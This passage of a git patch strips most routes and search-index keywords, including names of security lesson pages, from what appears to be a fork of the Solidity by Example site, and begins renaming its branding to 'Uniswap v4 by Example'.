component_hacks_hiding_malicious_code_with_external_contract - }, - { - path: "/hacks/honeypot", - component: component_hacks_honeypot - }, - { - path: "/hacks/overflow", - component: component_hacks_overflow - }, - { - path: "/hacks/phishing-with-tx-origin", - component: component_hacks_phishing_with_tx_origin - }, - { - path: "/hacks/randomness", - component: component_hacks_randomness - }, - { - path: "/hacks/re-entrancy", - component: component_hacks_re_entrancy - }, - { - path: "/hacks/self-destruct", - component: component_hacks_self_destruct - }, - { - path: "/hacks/signature-replay", - component: component_hacks_signature_replay - }, - { - path: "/hashing", - component: component_hashing - }, - { - path: "/hello-world", - component: component_hello_world - }, - { - path: "/if-else", - component: component_if_else - }, - { - path: "/immutable", - component: component_immutable - }, - { - path: "/import", - component: component_import - }, - { - path: "/inheritance", - component: component_inheritance - }, { path: "/initialize", component: component_initialize }, - { - path: "/interface", - component: component_interface - }, - { - path: "/library", - component: component_library - }, - { - path: "/loop", - component: component_loop - }, - { - path: "/mapping", - component: component_mapping - }, - { - path: "/new-contract", - component: component_new_contract - }, - { - path: "/payable", - component: component_payable - }, - { - path: "/primitives", - component: component_primitives - }, - { - path: "/sending-ether", - component: component_sending_ether - }, - { - path: "/shadowing-inherited-state-variables", - component: component_shadowing_inherited_state_variables - }, - { - path: "/signature", - component: component_signature - }, - { - path: "/state-variables", - component: component_state_variables - }, - { - path: "/structs", - component: component_structs - }, - { - path: "/super", - component: component_super - }, { path: "/swap", component: component_swap }, - { - path: "/tests/echidna", - component: component_tests_echidna - }, - { - path: "/try-catch", - component: component_try_catch - }, - { - path: "/unchecked-math", - component: component_unchecked_math - }, - { - path: "/variables", - component: component_variables - }, - { - path: "/view-and-pure-functions", - component: component_view_and_pure_functions - }, - { - path: "/visibility", - component: component_visibility - }, { path: "", component: component_ diff --git a/src/search.json b/src/search.json index 935f992f7..45f177018 100644 --- a/src/search.json +++ b/src/search.json @@ -1,154 +1,6 @@ { - "visibility": [ - "/visibility" - ], - "function": [ - "/visibility", - "/view-and-pure-functions", - "/sending-ether", - "/hashing", - "/function-selector", - "/function-modifier", - "/function", - "/fallback", - "/delegatecall", - "/calling-contract", - "/call" - ], - "functions": [ - "/visibility", - "/view-and-pure-functions", - "/sending-ether", - "/hashing", - "/function-selector", - "/function-modifier", - "/function", - "/fallback", - "/delegatecall", - "/calling-contract", - "/call" - ], - "internal": [ - "/visibility" - ], - "private": [ - "/visibility", - "/hacks/accessing-private-data" - ], - "public": [ - "/visibility" - ], - "external": [ - "/visibility", - "/hacks/hiding-malicious-code-with-external-contract" - ], - "view": [ - "/view-and-pure-functions" - ], - "pure": [ - "/view-and-pure-functions" - ], - "variable": [ - "/variables", - "/structs", - "/state-variables", - "/shadowing-inherited-state-variables", - "/primitives", - "/mapping", - "/immutable", - "/ether-units", - "/enum", - "/constants", - "/assembly-variable", - "/array" - ], - "variables": [ - "/variables", - "/structs", - "/state-variables", - "/shadowing-inherited-state-variables", - "/primitives", - "/mapping", - "/immutable", - "/ether-units", - "/enum", - "/constants", - "/array" - ], - "local": [ - "/variables" - ], - "global": [ - "/variables" - ], - "state": [ - "/variables", - "/state-variables", - "/shadowing-inherited-state-variables" - ], - "data": [ - "/variables", - "/structs", - "/primitives", - "/mapping", - "/immutable", - "/hacks/accessing-private-data", - "/ether-units", - "/enum", - "/data-locations", - "/constants", - "/array", - "/app/iterable-mapping" - ], - "gas": [ - "/unchecked-math", - "/gas-golf", - "/gas" - ], - "unchecked": [ - "/unchecked-math" - ], - "math": [ - "/unchecked-math", - "/assembly-math", - "/app/assembly-bin-exp" - ], - "overflow": [ - "/unchecked-math", - "/hacks/overflow" - ], - "underflow": [ - "/unchecked-math", - "/hacks/overflow" - ], - "try": [ - "/try-catch" - ], - "catch": [ - "/try-catch" - ], - "error": [ - "/try-catch", - "/error", - "/assembly-error" - ], - "errors": [ - "/try-catch", - "/error" - ], - "test": [ - "/tests/echidna" - ], - "echidna": [ - "/tests/echidna" - ], "swap": [ - "/swap", - "/defi/uniswap-v3-swap", - "/defi/uniswap-v3-flash-swap", - "/defi/uniswap-v2-flash-swap", - "/defi/uniswap-v2", - "/defi/stable-swap-amm" + "/swap" ], "trade": [ "/swap" @@ -156,284 +8,6 @@ "swapping": [ "/swap" ], - "calling": [ - "/super", - "/calling-contract" - ], - "parent": [ - "/super" - ], - "contract": [ - "/super", - "/new-contract", - "/interface", - "/inheritance", - "/hello-world", - "/hacks/hiding-malicious-code-with-external-contract", - "/hacks/deploy-different-contracts-same-address", - "/hacks/contract-size", - "/first-app", - "/delegatecall", - "/constructor", - "/calling-contract", - "/call", - "/app/simple-bytecode-contract", - "/app/minimal-proxy", - "/app/deploy-any-contract", - "/app/create2" - ], - "contracts": [ - "/super", - "/new-contract", - "/interface", - "/inheritance", - "/first-app", - "/delegatecall", - "/calling-contract", - "/call" - ], - "inheritance": [ - "/super", - "/shadowing-inherited-state-variables", - "/inheritance", - "/constructor" - ], - "super": [ - "/super", - "/inheritance" - ], - "struct": [ - "/structs" - ], - "structs": [ - "/structs" - ], - "type": [ - "/structs", - "/primitives" - ], - "types": [ - "/structs", - "/primitives" - ], - "reading": [ - "/state-variables" - ], - "writing": [ - "/state-variables" - ], - "app": [ - "/state-variables", - "/hello-world", - "/first-app", - "/app/write-to-any-slot", - "/app/upgradeable-proxy", - "/app/uni-directional-payment-channel", - "/app/time-lock", - "/app/simple-bytecode-contract", - "/app/multi-sig-wallet", - "/app/multi-delegatecall", - "/app/multi-call", - "/app/minimal-proxy", - "/app/merkle-tree", - "/app/iterable-mapping", - "/app/gasless-token-transfer", - "/app/ether-wallet", - "/app/erc721", - "/app/erc20", - "/app/erc1155", - "/app/english-auction", - "/app/dutch-auction", - "/app/deploy-any-contract", - "/app/crowd-fund", - "/app/create2", - "/app/bi-directional-payment-channel" - ], - "application": [ - "/state-variables", - "/hello-world", - "/first-app", - "/app/write-to-any-slot", - "/app/upgradeable-proxy", - "/app/uni-directional-payment-channel", - "/app/time-lock", - "/app/simple-bytecode-contract", - "/app/multi-sig-wallet", - "/app/multi-delegatecall", - "/app/multi-call", - "/app/minimal-proxy", - "/app/merkle-tree", - "/app/iterable-mapping", - "/app/gasless-token-transfer", - "/app/ether-wallet", - "/app/erc721", - "/app/erc20", - "/app/erc1155", - "/app/english-auction", - "/app/dutch-auction", - "/app/deploy-any-contract", - "/app/crowd-fund", - "/app/create2", - "/app/bi-directional-payment-channel" - ], - "cryptography": [ - "/signature", - "/hashing", - "/hacks/signature-replay", - "/app/uni-directional-payment-channel", - "/app/merkle-tree", - "/app/bi-directional-payment-channel" - ], - "verify": [ - "/signature" - ], - "verifying": [ - "/signature" - ], - "signature": [ - "/signature", - "/hacks/signature-replay", - "/app/uni-directional-payment-channel", - "/app/multi-sig-wallet", - "/app/bi-directional-payment-channel" - ], - "signatures": [ - "/signature" - ], - "ecrecover": [ - "/signature" - ], - "shadow": [ - "/shadowing-inherited-state-variables" - ], - "shadowing": [ - "/shadowing-inherited-state-variables" - ], - "sending": [ - "/sending-ether" - ], - "send": [ - "/sending-ether", - "/sending-ether", - "/payable", - "/fallback" - ], - "ether": [ - "/sending-ether", - "/payable", - "/fallback", - "/ether-units", - "/app/ether-wallet" - ], - "eth": [ - "/sending-ether", - "/payable", - "/fallback", - "/app/ether-wallet" - ], - "transfer": [ - "/sending-ether", - "/fallback", - "/app/gasless-token-transfer" - ], - "call": [ - "/sending-ether", - "/delegatecall", - "/calling-contract", - "/call", - "/app/multi-call" - ], - "fallback": [ - "/sending-ether", - "/fallback" - ], - "receive": [ - "/sending-ether", - "/fallback" - ], - "payable": [ - "/sending-ether", - "/payable", - "/fallback" - ], - "primitive": [ - "/primitives" - ], - "primitives": [ - "/primitives" - ], - "boolean": [ - "/primitives" - ], - "uint256": [ - "/primitives" - ], - "int256": [ - "/primitives" - ], - "address": [ - "/primitives", - "/hacks/deploy-different-contracts-same-address", - "/app/create2" - ], - "uint": [ - "/primitives" - ], - "int": [ - "/primitives" - ], - "new": [ - "/new-contract", - "/new-contract" - ], - "create": [ - "/new-contract", - "/initialize", - "/hacks/deploy-different-contracts-same-address" - ], - "creates": [ - "/new-contract" - ], - "create2": [ - "/new-contract", - "/hacks/deploy-different-contracts-same-address", - "/app/create2" - ], - "salt": [ - "/new-contract", - "/hacks/deploy-different-contracts-same-address" - ], - "mapping": [ - "/mapping", - "/app/iterable-mapping" - ], - "for": [ - "/loop", - "/assembly-loop" - ], - "loop": [ - "/loop", - "/assembly-loop" - ], - "loops": [ - "/loop" - ], - "while": [ - "/loop", - "/assembly-loop" - ], - "do": [ - "/loop" - ], - "library": [ - "/library" - ], - "interface": [ - "/interface" - ], - "interfaces": [ - "/interface" - ], "pool": [ "/initialize" ], @@ -443,620 +17,25 @@ "init": [ "/initialize" ], + "create": [ + "/initialize" + ], "pair": [ "/initialize" ], "factory": [ "/initialize" ], - "override": [ - "/inheritance" - ], - "virtual": [ - "/inheritance" - ], - "is": [ - "/inheritance" - ], - "import": [ - "/import", - "/enum" - ], - "constant": [ - "/immutable", - "/defi/constant-sum-amm", - "/defi/constant-product-amm", - "/constants" - ], - "constants": [ - "/immutable", - "/constants" - ], - "immutable": [ - "/immutable" - ], - "immutables": [ - "/immutable" - ], - "if": [ - "/if-else", - "/assembly-if" - ], - "else": [ - "/if-else" - ], - "conditional": [ - "/if-else" - ], - "statement": [ - "/if-else" - ], - "statements": [ - "/if-else" - ], - "hello": [ - "/hello-world" - ], - "world": [ - "/hello-world" - ], - "hash": [ - "/hashing" - ], - "hashing": [ - "/hashing" - ], - "keccak256": [ - "/hashing" - ], - "hack": [ - "/hacks/signature-replay", - "/hacks/self-destruct", - "/hacks/re-entrancy", - "/hacks/randomness", - "/hacks/phishing-with-tx-origin", - "/hacks/overflow", - "/hacks/honeypot", - "/hacks/hiding-malicious-code-with-external-contract", - "/hacks/front-running", - "/hacks/deploy-different-contracts-same-address", - "/hacks/denial-of-service", - "/hacks/delegatecall", - "/hacks/contract-size", - "/hacks/block-timestamp-manipulation", - "/hacks/accessing-private-data" - ], - "security": [ - "/hacks/signature-replay", - "/hacks/self-destruct", - "/hacks/re-entrancy", - "/hacks/randomness", - "/hacks/phishing-with-tx-origin", - "/hacks/overflow", - "/hacks/honeypot", - "/hacks/hiding-malicious-code-with-external-contract", - "/hacks/front-running", - "/hacks/deploy-different-contracts-same-address", - "/hacks/denial-of-service", - "/hacks/delegatecall", - "/hacks/contract-size", - "/hacks/block-timestamp-manipulation", - "/hacks/accessing-private-data" - ], - "replay": [ - "/hacks/signature-replay" - ], - "selfdestruct": [ - "/hacks/self-destruct" - ], - "re-entrancy": [ - "/hacks/re-entrancy" - ], - "source": [ - "/hacks/randomness" - ], - "random": [ - "/hacks/randomness" - ], - "randomness": [ - "/hacks/randomness" - ], - "blockhash": [ - "/hacks/randomness" - ], - "block": [ - "/hacks/randomness", - "/hacks/block-timestamp-manipulation" - ], - "timestamp": [ - "/hacks/randomness", - "/hacks/block-timestamp-manipulation" - ], - "phishing": [ - "/hacks/phishing-with-tx-origin" - ], - "tx.origin": [ - "/hacks/phishing-with-tx-origin" - ], - "arithmetic": [ - "/hacks/overflow" - ], - "honeypot": [ - "/hacks/honeypot" - ], - "hide": [ - "/hacks/hiding-malicious-code-with-external-contract" - ], - "hiding": [ - "/hacks/hiding-malicious-code-with-external-contract" - ], - "malicious": [ - "/hacks/hiding-malicious-code-with-external-contract" - ], - "code": [ - "/hacks/hiding-malicious-code-with-external-contract" - ], - "front": [ - "/hacks/front-running" - ], - "running": [ - "/hacks/front-running" - ], - "deploy": [ - "/hacks/deploy-different-contracts-same-address", - "/app/deploy-any-contract" - ], - "different": [ - "/hacks/deploy-different-contracts-same-address" - ], - "same": [ - "/hacks/deploy-different-contracts-same-address" - ], - "denial": [ - "/hacks/denial-of-service" - ], - "service": [ - "/hacks/denial-of-service" - ], - "delegatecall": [ - "/hacks/delegatecall", - "/delegatecall", - "/app/upgradeable-proxy", - "/app/multi-delegatecall" - ], - "bypass": [ - "/hacks/contract-size" - ], - "size": [ - "/hacks/contract-size" - ], - "check": [ - "/hacks/contract-size" - ], - "extcodesize": [ - "/hacks/contract-size" - ], - "manipulation": [ - "/hacks/block-timestamp-manipulation" - ], - "access": [ - "/hacks/accessing-private-data" - ], - "accessing": [ - "/hacks/accessing-private-data" - ], - "storage": [ - "/hacks/accessing-private-data", - "/data-locations", - "/app/write-to-any-slot" - ], - "golf": [ - "/gas-golf" - ], - "selector": [ - "/function-selector" - ], - "selectors": [ - "/function-selector" - ], - "modifier": [ - "/function-modifier" - ], - "modifiers": [ - "/function-modifier" - ], - "_": [ - "/function-modifier" - ], - "first": [ - "/first-app" - ], - "counter": [ - "/first-app" - ], - "event": [ - "/events" - ], - "events": [ - "/events" - ], - "wei": [ - "/ether-units" - ], - "units": [ - "/ether-units" - ], - "require": [ - "/error" - ], - "revert": [ - "/error", - "/assembly-error" - ], - "assert": [ - "/error" - ], - "enum": [ - "/enum" - ], - "imports": [ - "/enum" - ], - "defi": [ - "/defi/vault", - "/defi/uniswap-v3-swap", - "/defi/uniswap-v3-liquidity", - "/defi/uniswap-v3-flash-swap", - "/defi/uniswap-v3-flash", - "/defi/uniswap-v2-optimal-one-sided-supply", - "/defi/uniswap-v2-flash-swap", - "/defi/uniswap-v2-add-remove-liquidity", - "/defi/uniswap-v2", - "/defi/staking-rewards", - "/defi/stable-swap-amm", - "/defi/discrete-staking-rewards", - "/defi/constant-sum-amm", - "/defi/constant-product-amm", - "/defi/chainlink-price-oracle" - ], - "vault": [ - "/defi/vault" - ], - "uniswap": [ - "/defi/uniswap-v3-swap", - "/defi/uniswap-v3-liquidity", - "/defi/uniswap-v3-flash-swap", - "/defi/uniswap-v3-flash", - "/defi/uniswap-v2-optimal-one-sided-supply", - "/defi/uniswap-v2-flash-swap", - "/defi/uniswap-v2-add-remove-liquidity", - "/defi/uniswap-v2" - ], - "v3": [ - "/defi/uniswap-v3-swap", - "/defi/uniswap-v3-liquidity", - "/defi/uniswap-v3-flash-swap", - "/defi/uniswap-v3-flash" - ], - "amm": [ - "/defi/uniswap-v3-swap", - "/defi/uniswap-v3-liquidity", - "/defi/uniswap-v3-flash-swap", - "/defi/uniswap-v3-flash", - "/defi/uniswap-v2-optimal-one-sided-supply", - "/defi/uniswap-v2-flash-swap", - "/defi/uniswap-v2-add-remove-liquidity", - "/defi/uniswap-v2", - "/defi/stable-swap-amm", - "/defi/constant-sum-amm", - "/defi/constant-product-amm" - ], "liquidity": [ - "/defi/uniswap-v3-liquidity", - "/defi/uniswap-v2-add-remove-liquidity", - "/create-liquidity" - ], - "arbitrage": [ - "/defi/uniswap-v3-flash-swap" - ], - "flash": [ - "/defi/uniswap-v3-flash", - "/defi/uniswap-v2-flash-swap" - ], - "loan": [ - "/defi/uniswap-v3-flash" - ], - "v2": [ - "/defi/uniswap-v2-optimal-one-sided-supply", - "/defi/uniswap-v2-flash-swap", - "/defi/uniswap-v2-add-remove-liquidity", - "/defi/uniswap-v2" - ], - "optimal": [ - "/defi/uniswap-v2-optimal-one-sided-supply" - ], - "one": [ - "/defi/uniswap-v2-optimal-one-sided-supply" - ], - "sided": [ - "/defi/uniswap-v2-optimal-one-sided-supply" - ], - "supply": [ - "/defi/uniswap-v2-optimal-one-sided-supply", "/create-liquidity" ], - "add": [ - "/defi/uniswap-v2-add-remove-liquidity", - "/assembly-math" - ], - "remove": [ - "/defi/uniswap-v2-add-remove-liquidity" - ], - "staking": [ - "/defi/staking-rewards", - "/defi/discrete-staking-rewards" - ], - "reward": [ - "/defi/staking-rewards", - "/defi/discrete-staking-rewards" - ], - "rewards": [ - "/defi/staking-rewards", - "/defi/discrete-staking-rewards" - ], - "curve": [ - "/defi/stable-swap-amm" - ], - "stable": [ - "/defi/stable-swap-amm" - ], - "discrete": [ - "/defi/discrete-staking-rewards" - ], - "sum": [ - "/defi/constant-sum-amm" - ], - "product": [ - "/defi/constant-product-amm" - ], - "chainlink": [ - "/defi/chainlink-price-oracle" - ], - "price": [ - "/defi/chainlink-price-oracle" - ], - "oracle": [ - "/defi/chainlink-price-oracle" - ], - "oracles": [ - "/defi/chainlink-price-oracle" - ], - "location": [ - "/data-locations" - ], - "locations": [ - "/data-locations" - ], - "memory": [ - "/data-locations" - ], - "calldata": [ - "/data-locations" - ], "LP": [ "/create-liquidity" ], "provision": [ "/create-liquidity" ], - "constructor": [ - "/constructor" - ], - "constructors": [ - "/constructor" - ], - "other": [ - "/calling-contract" - ], - "bitwise": [ - "/bitwise" - ], - "most": [ - "/bitwise" - ], - "significant": [ - "/bitwise" - ], - "bit": [ - "/bitwise" - ], - "assembly": [ - "/bitwise", - "/assembly-variable", - "/assembly-math", - "/assembly-loop", - "/assembly-if", - "/assembly-error", - "/app/assembly-bin-exp" - ], - "yul": [ - "/assembly-variable", - "/assembly-math", - "/assembly-loop", - "/assembly-if", - "/assembly-error", - "/app/assembly-bin-exp" - ], - "mul": [ - "/assembly-math" - ], - "switch": [ - "/assembly-if" - ], - "array": [ - "/array" - ], - "arrays": [ - "/array" - ], - "write": [ - "/app/write-to-any-slot" - ], - "any": [ - "/app/write-to-any-slot", - "/app/deploy-any-contract" - ], - "slot": [ - "/app/write-to-any-slot" - ], - "upgradeable": [ - "/app/upgradeable-proxy" - ], - "proxy": [ - "/app/upgradeable-proxy", - "/app/minimal-proxy" - ], - "uni-directional": [ - "/app/uni-directional-payment-channel" - ], - "payment": [ - "/app/uni-directional-payment-channel", - "/app/bi-directional-payment-channel" - ], - "channel": [ - "/app/uni-directional-payment-channel", - "/app/bi-directional-payment-channel" - ], - "time": [ - "/app/time-lock" - ], - "lock": [ - "/app/time-lock" - ], - "simple": [ - "/app/simple-bytecode-contract" - ], - "bytecode": [ - "/app/simple-bytecode-contract" - ], - "multi": [ - "/app/multi-sig-wallet", - "/app/multi-delegatecall", - "/app/multi-call" - ], - "sig": [ - "/app/multi-sig-wallet" - ], - "wallet": [ - "/app/multi-sig-wallet", - "/app/ether-wallet" - ], - "staticcall": [ - "/app/multi-call" - ], - "minimal": [ - "/app/minimal-proxy" - ], - "merkle": [ - "/app/merkle-tree" - ], - "tree": [ - "/app/merkle-tree" - ], - "iterable": [ - "/app/iterable-mapping" - ], - "gasless": [ - "/app/gasless-token-transfer" - ], - "token": [ - "/app/gasless-token-transfer", - "/app/erc20" - ], - "ERC20": [ - "/app/gasless-token-transfer" - ], - "permit": [ - "/app/gasless-token-transfer" - ], - "erc721": [ - "/app/erc721" - ], - "ierc721": [ - "/app/erc721" - ], - "nft": [ - "/app/erc721", - "/app/erc1155" - ], - "erc20": [ - "/app/erc20" - ], - "ierc20": [ - "/app/erc20" - ], - "erc1155": [ - "/app/erc1155" - ], - "ierc1155": [ - "/app/erc1155" - ], - "english": [ - "/app/english-auction" - ], - "auction": [ - "/app/english-auction", - "/app/dutch-auction" - ], - "auctions": [ - "/app/english-auction", - "/app/dutch-auction" - ], - "dutch": [ - "/app/dutch-auction" - ], - "crowd": [ - "/app/crowd-fund" - ], - "fund": [ - "/app/crowd-fund" - ], - "funding": [ - "/app/crowd-fund" - ], - "precompute": [ - "/app/create2" - ], - "bi-directional": [ - "/app/bi-directional-payment-channel" - ], - "binary": [ - "/app/assembly-bin-exp" - ], - "exponentiation": [ - "/app/assembly-bin-exp" - ], - "abi": [ - "/abi-encode", - "/abi-decode" - ], - "encode": [ - "/abi-encode" - ], - "bytes": [ - "/abi-encode", - "/abi-decode" - ], - "encodeWithSelector": [ - "/abi-encode" - ], - "encodeWithSignature": [ - "/abi-encode" - ], - "encodeCall": [ - "/abi-encode" - ], - "decode": [ - "/abi-decode" + "supply": [ + "/create-liquidity" ] } \ No newline at end of file From 575af94e79bd23a63e6f96e87a3325eccd0f0548 Mon Sep 17 00:00:00 2001 From: saucepoint Date: Wed, 18 Oct 2023 16:18:59 -0400 Subject: [PATCH 2/3] minor styling and cleanup; replacing branding --- README.md | 2 +- index.html | 2 +- src/components/Example.tsx | 2 +- src/components/Footer.tsx | 19 ++++++++++--------- src/components/Header.tsx | 2 +- src/pages/index.tsx | 20 +++++--------------- 6 files changed, 19 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index 20d26add3..fd79abd14 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # solidity-by-example.github.io -[Solidity By Example](https://solidity-by-example.org) +[Uniswap v4 by Example](https://solidity-by-example.org) ### License diff --git a/index.html b/index.html index 409a47f16..43bf44aa6 100755 --- a/index.html +++ b/index.html @@ -12,7 +12,7 @@ - Solidity by Example + Uniswap v4 by Example